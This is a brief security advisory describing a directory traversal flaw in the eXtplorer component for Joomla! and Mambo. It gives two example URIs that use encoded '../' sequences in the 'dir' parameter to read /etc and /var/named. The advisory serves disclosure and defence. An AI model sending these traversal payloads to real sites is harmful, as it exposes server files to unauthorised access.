|
Joomla! and Mambo eXtplorer Component 'dir' Parameter Directory Traversal Vulnerability
An attacker can exploit this issue via a browser. The following example URIs are available: http://www.example.com/joomla/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc http://www.example.com/joomla/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2F%2Fvar%2Fnamed |
|
|
Privacy Statement |
